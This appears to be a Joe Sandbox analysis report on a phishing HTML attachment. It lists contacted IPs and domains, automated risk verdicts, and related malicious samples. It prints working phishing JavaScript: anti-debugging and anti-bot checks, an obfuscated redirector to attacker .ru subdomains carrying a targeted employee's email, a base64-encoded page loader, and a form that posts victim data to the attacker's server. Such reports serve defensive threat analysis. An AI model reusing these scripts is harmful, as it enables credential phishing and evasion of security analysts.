https://github.com/requirejs/requirejs/blob/master/LICENSE	chromecache_434.2.dr, chromecache_374.2.dr	false		high
https://www.clarity.ms/tag/	chromecache_410.2.dr, chromecache_263.2.dr	false		high
https://microsoftit.pkgs.visualstudio.com/OneITVSO/_packaging/CSM-SITES-AEMFoundations/npm/registry/	chromecache_534.2.dr, chromecache_344.2.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/2537c33769cb/2519b7f94019/RC1fc64c69f66543f7902881d9fba93b3	chromecache_263.2.dr	false		high
https://dc-int.services.visualstudio.com	chromecache_546.2.dr, chromecache_543.2.dr	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=277178	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=308064	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://stores.office.com/	chromecache_276.2.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.134.107	rjwc1sic.olistraket.ru	United States	13335	CLOUDFLARENETUS	true
104.18.37.193	a.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
35.153.58.89	mcraa.fs.liveperson.com	United States	14618	AMAZON-AESUS	false
35.244.154.8	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
52.211.33.202	unknown	United States	16509	AMAZON-02US	false
18.204.134.151	rtb.adentifi.com	United States	14618	AMAZON-AESUS	false
63.140.62.222	unknown	United States	15224	OMNITUREUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.73.56	jivgrohtti3mlmhdskddcmqrm1wkfilwdeoqdwi2fwvqlpimuj.lpliwptf.ru	United States	13335	CLOUDFLARENETUS	false
151.101.193.44	unknown	United States	54113	FASTLYUS	false
185.89.210.122	unknown	Germany	29990	ASN-APPNEXUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.64.150.63	s.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
63.140.62.17	msftenterprise.sc.omtrdc.net	United States	15224	OMNITUREUS	false
151.101.1.44	dualstack.tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
91.228.74.159	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
67.199.150.86	pug-sg4c.pubmnet.com	United States	3257	GTT-BACKBONEGTTDE	false
157.240.196.35	unknown	United States	32934	FACEBOOKUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
108.139.60.87	dh1y47vf5ttia.cloudfront.net	United States	16509	AMAZON-02US	false
185.89.210.212	ib.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
54.76.51.91	unknown	United States	16509	AMAZON-02US	false
15.197.193.217	match.adsrvr.org	United States	7430	TANDEMUS	false
35.244.159.8	unknown	United States	15169	GOOGLEUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
52.27.193.239	aragorn-prod-or-acai-lb.inbake.com	United States	16509	AMAZON-02US	false
157.240.252.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
192.132.33.69	bttrack.com	United States	18568	BIDTELLECTUS	false
76.223.111.18	eu-eb2.3lift.com	United States	16509	AMAZON-02US	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
13.228.52.238	sync.crwdcntrl.net	United States	16509	AMAZON-02US	false
172.67.158.68	unknown	United States	13335	CLOUDFLARENETUS	false
188.125.88.204	dcs-ups.g03.yahoodns.net	United Kingdom	10310	YAHOO-1US	false
104.18.26.193	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
104.244.42.3	s.twitter.com	United States	13414	TWITTERUS	false
52.71.40.119	sync.srv.stackadapt.com	United States	14618	AMAZON-AESUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
34.98.64.218	us-u.openx.net	United States	15169	GOOGLEUS	false
52.211.89.170	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
142.250.181.98	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582043
Start date and time:	2024-12-29 16:58:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EFT Payment_Transcript__Survitecgroup.html
Detection:	MAL
Classification:	mal64.phis.evad.winHTML@36/516@189/45
Cookbook Comments:	Found application associated with file extension: .html

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a high likelihood of malicious intent, potentially to prevent analysis or hide other malicious activities." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); YONfKjaUhq = false; (function uIimdhiOMb() { let AWZnfZMxzs = false; const cdBamWsQdI = 100; setInterval(function() { const mUgQybvcvd = performance.now(); debugger; const fLvZPIohcy = performance.now(); if (fLvZPIohcy - mUgQybvcvd > cdBamWsQdI && !AWZnfZMxzs) { YONfKjaUhq = true; AWZnfZMxzs = true; window.location.replace('https://powerbi.microsoft.com'); } }, 100); })();
URL: file:///C:/Users/user/Desktop/EFT%20Payment_Trans... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of obfuscation techniques and the generation of random subdomains further increase the risk. While the script includes a placeholder email, the overall behavior is highly suspicious and indicative of a potential phishing or malicious activity." }
(function() { // Obfuscated variables and functions const _0x1f2b = ['ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz0123456789']; const _0x3a4d = x => Math.floor(Math.random() * x.length); // Generate random subdomain const _0x67e2 = () => Array(8).fill(0).map(() => _0x1f2b[1][_0x3a4d(_0x1f2b[1])]).join(''); // Generate random capital letter const _0x49f0 = () => _0x1f2b[0][_0x3a4d(_0x1f2b[0])]; // Dynamically build URL const _0x3b0d = _0x8a9c => `https://${_0x67e2()}.olistraket.ru/mbbhx7U/#${_0x49f0()}${_0x8a9c}`; // Placeholder email const _0x9d9e = 'vassilis.georgossopoulos@survitecgroup.com'; // Replace dynamically // Random delay to further confuse bots setTimeout(() => { const _0x5c3a = _0x3b0d(_0x9d9e); console.log('Redirecting to:', _0x5c3a); // Optional debugging window.location.href = _0x5c3a; }, Math.random() * 2500 + 1000); // Delay between 1-3 seconds })();
URL: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-detection measures (checking for webdriver, Phantom, and Burp) further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of potential malicious intent." }
/* Your time is limited, don't waste it living someone else's life. */ if(atob("aHR0cHM6Ly9RVm9ZLm9saXN0cmFrZXQucnUvbWJiaHg3VS8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiN1c1dSQnBSS1B6IGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI3VzV1JCcFJLUHogaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI3VzV1JCcFJLUHogaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojdXNXUkJwUktQeiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI3VzV1JCcFJLUHouY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTI2cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiN1c1dSQnBSS1B6IC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojdXNXUkJwUktQeiAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI3VzV1JCcFJLUHogLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojdXNXUkJwUktQeiAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojdXNXUkJwUktQeiAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI3VzV1JCcFJLUHogLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI3VzV1JCcFJLUHoubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiN1c1dSQnBSS1B6IC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojdXNXUkJwUktQeiAjRmlNWnJxb3RhYiB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykge
URL: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script uses the `turnstile.render()` function to render a form, and the `DvEImQyOfy()` function handles the form submission. The script collects user data, sends it to an unknown domain, and redirects the user to a Microsoft Power BI domain, which is inconsistent with the apparent purpose of the script. These behaviors are highly suspicious and indicate a high risk of malicious intent." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA3TEPXpcYeAkLPe', 'error-callback': jpROIrptgQ, callback: DvEImQyOfy, }); function jpROIrptgQ() { turnstile.reset(); } function DvEImQyOfy() { var rwSbvnfdBu = document.getElementById("NYqZTLMMLH"); rwSbvnfdBu.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = '7p9Kz'; var UwcFEZCXEh = "../hfFzORKBZ6qSZorTwMO9nmBDDxScx"; fetch('https://JIvGROhtTi3mlmHdSKDDCMqRM1WKfiLWDeOQdwI2FwvqLPiMUJ.lpliwptf.ru/8145729929217118653033610efOQnJSOINFPDIZTNOSNEDFTVDLHLUJTCTXIN', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(UwcFEZCXEh, { method: "POST", body: new FormData(rwSbvnfdBu) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(YONfKjaUhq == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://powerbi.microsoft.com'); } }); } if(text != 0){ window.location.replace('https://powerbi.microsoft.com'); } }) .catch(error => { window.location.replace('https://powerbi.microsoft.com'); }); }
URL: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.georgossopoulos@survitecgroup.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.georgossopoulos@survitecgroup.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.georgossopoulos@survitecgroup.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.georgossopoulos@survitecgroup.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "How to try Power BI for free", "prominent_button_name": "Start free", "text_input_field_labels": [ "Email" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Create a free Microsoft Fabric account", "prominent_button_name": "Start free", "text_input_field_labels": [ "Email" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free Model: Joe Sandbox AI	{ "brands": [ "Microsoft Fabric" ] }
	{ "brands": [ "Microsoft Fabric" ] }
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free Model: Joe Sandbox AI	{ "brands": [ "Microsoft Fabric" ] }
	{ "brands": [ "Microsoft Fabric" ] }
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'www.microsoft.com' matches the legitimate domain name for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The brand 'Microsoft Fabric' is associated with Microsoft, and the domain is correct." ], "riskscore": 1}
URL: www.microsoft.com Brands: Microsoft Fabric Input Fields: Email
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'www.microsoft.com' matches the legitimate domain name for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The domain name is fully matching and does not contain any suspicious elements such as misspellings or unusual domain extensions.", "The brand 'Microsoft Fabric' is associated with Microsoft, and the URL is consistent with the brand." ], "riskscore": 1}
URL: www.microsoft.com Brands: Microsoft Fabric Input Fields: Email
URL: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Submit", "text_input_field_labels": [ "Email" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Fabric" ] }
	{ "brands": [ "Microsoft Fabric" ] }
URL: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1 Model: Joe Sandbox AI	```json{ "legit_domain": "fabric.microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is a well-known global technology company.", "The URL 'app.fabric.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "The use of 'fabric' in the subdomain is consistent with Microsoft's branding for their services.", "There are no suspicious elements in the URL such as misspellings or unusual domain extensions." ], "riskscore": 1}
URL: app.fabric.microsoft.com Brands: Microsoft Fabric Input Fields: Email
URL: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter your email, we'll check if you need to create a new account.", "prominent_button_name": "Submit", "text_input_field_labels": [ "Email" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Fabric" ] }
	{ "brands": [ "Microsoft Fabric" ] }
URL: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is a well-known global technology company.", "The URL 'app.fabric.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "The use of a subdomain 'app.fabric' is common for organizing services under a main domain and does not inherently indicate phishing.", "No suspicious elements such as misspellings or unusual domain extensions are present in the URL." ], "riskscore": 1}
URL: app.fabric.microsoft.com Brands: Microsoft Fabric Input Fields: Email

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
63.140.62.222	http://vimuscle.vi/css/TB.html	Get hash	malicious	Unknown	Browse	info.telstra.com.au/b/ss/telstratdtmglobalprd/1/JS-2.10.0/s81407038587847?AQB=1&ndh=1&pf=1&t=24%2F8%2F2024%2021%3A37%3A27%202%20240&sdid=080702B973E60E46-3262A79A37C4013C&mid=80393247477718675596040170536517987875&aamlh=6&ce=UTF-8&ns=telstracorporation&cdp=3&fpCookieDomainPeriods=2&pageName=TD%3ATR%3ATR%3Acss%3Asign%20in%20with%20your%20telstra%20id&g=http%3A%2F%2Fvimuscle.vi%2Fcss%2FTB.html&cc=AUD&ch=css&server=vimuscle.vi&events=event27&aamb=j8Odv6LonN4r3an7LhD3WZrU1bUpAkFkkiY1ncBR96t2PTI&c1=TD&v1=TD&h1=TD%7CTR%7CTR%7Ccss%7Csign%20in%20with%20your%20telstra%20id&c2=TR&v2=TR&c3=TR&v3=TR&c4=D%3Dv5&v4=D%3Dch&c5=D%3Dv72&v5=tb.html&c6=D%3Dproducts&v6=css%3Atb.html&c7=%2Fcss%2FTB&c8=D%3Dg&v8=D%3Dg&c9=%2F%2Fwww.telstra.com.au%2Fcontent%2Fdam%2Fanalytics%2Fadobetags.min.js%3Fsource%3DCQ5%20%7C%20launch%20%7C%20prd%20%7C%20tz%3D-4&c11=no%20jQuery&c16=Wed%2C%2025%20Sep%202024%2001%3A37%3A27%20GMT&v18=di&c19=First%20Visit&c35=D%3DUser-Agent&v35=D%3DUser-Agent&c41=9%3A30PM&c42=Tuesday&c43=Weekday&c44=D%3Dv44%2B%22%3A%22%2BpageName&v4
104.18.37.193	http://bluepeak-group.com/fc	Get hash	malicious	Unknown	Browse
	https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=document	Get hash	malicious	HTMLPhisher	Browse
	vFile__0054seconds__Arkansas.html	Get hash	malicious	Unknown	Browse
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse
	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse
	https://www.calameo.com/read/007817996f562cfb4f52a	Get hash	malicious	HTMLPhisher	Browse
	http://deepai.org	Get hash	malicious	LiteHTTP Bot	Browse
151.101.66.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
global.px.quantserve.com	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	91.228.74.200
	http://bluepeak-group.com/fc	Get hash	malicious	Unknown	Browse	91.228.74.159
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	91.228.74.200
	https://afg.acemlnb.com/lt.php?x=3TZy~GE3UnGZEpJA-w9HgOSc2K2ji_L0wu1gjqXGIXSh587-zEy.zuJr1Y2iitE~judAXHPHJeTMHaWtOdxFVOFx23MoiND	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=document	Get hash	malicious	HTMLPhisher	Browse	91.228.74.244
	http://ebaumsworld.com	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	91.228.74.166
	vFile__0054seconds__Arkansas.html	Get hash	malicious	Unknown	Browse	91.228.74.244
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	91.228.74.200
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse	91.228.74.200
s.tribalfusion.com	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	172.64.150.63
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	172.64.150.63
	https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=document	Get hash	malicious	HTMLPhisher	Browse	104.18.37.193
	vFile__0054seconds__Arkansas.html	Get hash	malicious	Unknown	Browse	104.18.37.193
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	104.18.37.193
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse	104.18.37.193
	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse	172.64.150.63
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	104.18.37.193
	tmpE43E.htm	Get hash	malicious	Unknown	Browse	172.64.150.63
